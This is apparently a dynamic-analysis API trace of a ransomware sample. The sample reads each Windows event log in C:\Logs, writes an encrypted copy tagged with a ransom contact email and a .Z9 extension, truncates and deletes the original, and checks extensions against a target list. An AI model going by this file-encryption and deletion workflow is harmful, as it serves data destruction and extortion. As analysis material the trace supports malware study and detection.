	[0082.116] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.117] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46
	[0082.117] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.117] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0082.117] CloseHandle (hObject=0x338) returned 1
	[0082.117] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20
	[0082.117] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.117] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.117] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.117] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.117] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.117] GetLastError () returned 0x0
	[0082.118] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.124] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.126] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.126] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x130, lpOverlapped=0x0) returned 1
	[0082.126] SetEndOfFile (hFile=0x360) returned 1
	[0082.126] CloseHandle (hObject=0x360) returned 1
	[0082.128] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.128] SetEndOfFile (hFile=0x338) returned 1
	[0082.130] CloseHandle (hObject=0x338) returned 1
	[0082.130] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.130] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1
	[0082.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.130] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.130] lstrlenW (lpString=".doc") returned 4
	[0082.130] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.130] lstrlenW (lpString=".docx") returned 5
	[0082.130] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.130] lstrlenW (lpString=".pdf") returned 4
	[0082.130] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.130] lstrlenW (lpString=".xls") returned 4
	[0082.130] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.130] lstrlenW (lpString=".xlsx") returned 5
	[0082.131] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.131] lstrlenW (lpString=".ppt") returned 4
	[0082.131] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.131] lstrlenW (lpString=".zip") returned 4
	[0082.131] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString=".rar") returned 4
	[0082.131] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString=".bz2") returned 4
	[0082.131] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString=".7z") returned 3
	[0082.131] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.131] lstrlenW (lpString=".dbf") returned 4
	[0082.131] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.131] lstrlenW (lpString=".1cd") returned 4
	[0082.131] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.131] lstrlenW (lpString=".jpg") returned 4
	[0082.131] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.131] lstrlenW (lpString=".doc") returned 4
	[0082.131] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString=".docx") returned 5
	[0082.131] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.131] lstrlenW (lpString=".pdf") returned 4
	[0082.131] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString=".xls") returned 4
	[0082.131] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString=".xlsx") returned 5
	[0082.131] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.131] lstrlenW (lpString=".ppt") returned 4
	[0082.131] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.131] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.131] lstrlenW (lpString=".zip") returned 4
	[0082.132] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.132] lstrlenW (lpString=".rar") returned 4
	[0082.132] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.132] lstrlenW (lpString=".bz2") returned 4
	[0082.132] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.132] lstrlenW (lpString=".7z") returned 3
	[0082.132] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.132] lstrlenW (lpString=".dbf") returned 4
	[0082.132] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.132] lstrlenW (lpString=".1cd") returned 4
	[0082.132] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.132] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0082.132] lstrlenW (lpString=".jpg") returned 4
	[0082.132] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.132] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.132] lstrlenW (lpString="Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 64
	[0082.132] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.132] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0082.132] CloseHandle (hObject=0x338) returned 1
	[0082.132] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20
	[0082.133] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.133] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0082.133] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.133] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.133] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360
	[0082.133] GetLastError () returned 0x0
	[0082.133] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0082.136] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0082.138] ReadFile (in: hFile=0x338, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.138] WriteFile (in: hFile=0x360, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x154, lpOverlapped=0x0) returned 1
	[0082.138] SetEndOfFile (hFile=0x360) returned 1
	[0082.138] CloseHandle (hObject=0x360) returned 1
	[0082.140] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.140] SetEndOfFile (hFile=0x338) returned 1
	[0082.142] CloseHandle (hObject=0x338) returned 1
	[0082.142] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0082.142] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1
	[0082.142] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.142] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.142] lstrlenW (lpString=".doc") returned 4
	[0082.142] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.142] lstrlenW (lpString=".docx") returned 5
	[0082.142] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.142] lstrlenW (lpString=".pdf") returned 4
	[0082.142] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.142] lstrlenW (lpString=".xls") returned 4
	[0082.142] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.142] lstrlenW (lpString=".xlsx") returned 5
	[0082.142] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.142] lstrlenW (lpString=".ppt") returned 4
	[0082.142] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.143] lstrlenW (lpString=".zip") returned 4
	[0082.143] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString=".rar") returned 4
	[0082.143] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString=".bz2") returned 4
	[0082.143] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString=".7z") returned 3
	[0082.143] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.143] lstrlenW (lpString=".dbf") returned 4
	[0082.143] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.143] lstrlenW (lpString=".1cd") returned 4
	[0082.143] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.143] lstrlenW (lpString=".jpg") returned 4
	[0082.143] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.143] lstrlenW (lpString=".doc") returned 4
	[0082.143] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString=".docx") returned 5
	[0082.143] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0082.143] lstrlenW (lpString=".pdf") returned 4
	[0082.143] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString=".xls") returned 4
	[0082.143] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString=".xlsx") returned 5
	[0082.143] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0082.143] lstrlenW (lpString=".ppt") returned 4
	[0082.143] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.143] lstrlenW (lpString=".zip") returned 4
	[0082.143] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0082.143] lstrlenW (lpString=".rar") returned 4
	[0082.144] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0082.144] lstrlenW (lpString=".bz2") returned 4
	[0082.144] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0082.144] lstrlenW (lpString=".7z") returned 3
	[0082.144] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0082.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.144] lstrlenW (lpString=".dbf") returned 4
	[0082.144] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0082.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.144] lstrlenW (lpString=".1cd") returned 4
	[0082.144] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0082.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72
	[0082.144] lstrlenW (lpString=".jpg") returned 4
	[0082.144] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0082.144] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0082.144] lstrlenW (lpString="Microsoft-Windows-SettingSync%4Debug.evtx") returned 41
	[0082.144] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.418] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=1052672) returned 1
	[0082.418] CloseHandle (hObject=0x390) returned 1
	[0082.418] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20
	[0082.418] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0082.431] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0082.431] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.431] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0082.431] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0082.444] GetLastError () returned 0x0
	[0082.444] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0xffff0, lpOverlapped=0x0) returned 1
	[0082.472] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0xffff0, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0xffff0, lpOverlapped=0x0) returned 1
	[0082.489] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x1010, lpOverlapped=0x0) returned 1
	[0082.497] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x1020, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x1020, lpOverlapped=0x0) returned 1
	[0082.719] ReadFile (in: hFile=0x390, lpBuffer=0x3c36020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesRead=0x38cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0082.719] WriteFile (in: hFile=0x378, lpBuffer=0x3c36020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x38cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3c36020*, lpNumberOfBytesWritten=0x38cfc94*=0x126, lpOverlapped=0x0) returned 1
	[0082.720] SetEndOfFile (hFile=0x378) returned 1
	[0082.906] CloseHandle (hObject=0x378) returned 1
	[0083.180] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.180] SetEndOfFile (hFile=0x390) returned 1
	[0083.181] CloseHandle (hObject=0x390) returned 1
	[0083.181] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0083.181] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1
	[0083.181] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.181] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.181] lstrlenW (lpString=".doc") returned 4
	[0083.181] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.181] lstrlenW (lpString=".docx") returned 5
	[0083.181] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.181] lstrlenW (lpString=".pdf") returned 4
	[0083.181] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".xls") returned 4
	[0083.182] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".xlsx") returned 5
	[0083.182] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.182] lstrlenW (lpString=".ppt") returned 4
	[0083.182] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.182] lstrlenW (lpString=".zip") returned 4
	[0083.182] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".rar") returned 4
	[0083.182] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".bz2") returned 4
	[0083.182] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".7z") returned 3
	[0083.182] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.182] lstrlenW (lpString=".dbf") returned 4
	[0083.182] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.182] lstrlenW (lpString=".1cd") returned 4
	[0083.182] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.182] lstrlenW (lpString=".jpg") returned 4
	[0083.182] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.182] lstrlenW (lpString=".doc") returned 4
	[0083.182] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".docx") returned 5
	[0083.182] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0083.182] lstrlenW (lpString=".pdf") returned 4
	[0083.182] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".xls") returned 4
	[0083.182] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0083.182] lstrlenW (lpString=".xlsx") returned 5
	[0083.183] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0083.183] lstrlenW (lpString=".ppt") returned 4
	[0083.183] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0083.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.183] lstrlenW (lpString=".zip") returned 4
	[0083.183] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0083.183] lstrlenW (lpString=".rar") returned 4
	[0083.183] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0083.183] lstrlenW (lpString=".bz2") returned 4
	[0083.183] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0083.183] lstrlenW (lpString=".7z") returned 3
	[0083.183] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0083.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.183] lstrlenW (lpString=".dbf") returned 4
	[0083.183] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0083.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.183] lstrlenW (lpString=".1cd") returned 4
	[0083.183] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0083.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 49
	[0083.183] lstrlenW (lpString=".jpg") returned 4
	[0083.183] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0083.183] lstrcmpiW (lpString1=".evtx", lpString2=".Z9") returned -1
	[0083.183] lstrlenW (lpString="Microsoft-Windows-UserPnp%4ActionCenter.evtx") returned 44
	[0083.183] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-UserPnp%4ActionCenter.evtx" (normalized: "c:\\logs\\microsoft-windows-userpnp%4actioncenter.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0083.184] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=69632) returned 1
	[0083.184] CloseHandle (hObject=0x390) returned 1
